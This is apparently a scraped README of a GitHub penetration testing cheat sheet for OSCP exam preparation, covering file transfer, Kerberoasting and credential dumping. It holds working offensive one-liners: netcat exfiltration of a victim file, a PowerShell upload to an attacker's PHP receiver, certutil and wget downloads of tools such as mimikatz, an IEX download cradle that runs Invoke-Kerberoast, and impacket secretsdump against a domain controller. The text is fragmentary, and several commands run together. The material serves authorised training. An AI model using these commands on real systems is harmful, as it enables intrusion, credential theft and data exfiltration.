Comprehensive penetration testing cheat sheet for PWK/OSCP exam preparation, covering privilege escalation, password cracking, payload generation, post-exploitation, port scanning, web attacks, and reconnaissance techniques.
JustTryHarder is a cheat sheet which will aid you through the PWK course & the OSCP Exam.
(Inspired by PayloadAllTheThings)
Feel free to submit a Pull Request & leave a star to share some love if this helped you. 💖
Hacktoberfest friendly! Yes, we are open to Pull Requests for Hacktoberfest! Please ensure it is not spam and actually contributes well to this repo. Thanks & happy hacking!
Disclaimer: None of the below includes spoilers for the PWK labs / OSCP Exam.
I have obtained a lot of this info through other Github repos, blogs, sites and more. I have tried to give as much credit to the original creator as possible. If I have not given you credit, please contact me on Twitter: https://twitter.com/s1nfulz
ping 10.10.10.110
PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data.
64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
The TTL can be used to determine the OS of the host. The three different types of TTL are as shown below:
(Typical bad characters include: 0x00, 0x0A, 0x0D)
jmp espmsfvenomnetcatGood BOF resources:
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
On the Victim machine (Windows):
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
How to retrieve file(s) from host (inside a reverse shell).
Setup: Place file you want transferred in /var/www/html/ and run service apache2 start.
Run on the remote server:
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
(How to transfer from Kali to Windows).
Using MSF: Start MSF before these steps:
use auxiliary/server/tftpset TFTPROOT /usr/share/mimikatz/Win32/runInside a terminal:
4. tftp -i 10.10.10.10 GET mimikatz.exe
nc -nv 10.11.0.61 4444 < bank-account.zipnc -nlvp 4444 > bank-account.zipInteractive session:
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
Without an interactive PowerShell session (Create wget.ps1):
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
Local Host:
$(echo "cat /path/to/exploit.py | base64") > encoded.b64encoded.b64 to the remote server via nc or otherwise.Remote Server - Linux:
3. cat /path/to/encoded.b64 | base64 -d > exploit.py
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
1. Create upload.php
Create in attacking machine webroot (/var/www/html by default).
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
2. Create directory Create upload directory and set appropriate permissions to allow upload.
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
3. Upload file Upload file from victim machine to attacking machine using PowerShell:
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcatimpacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes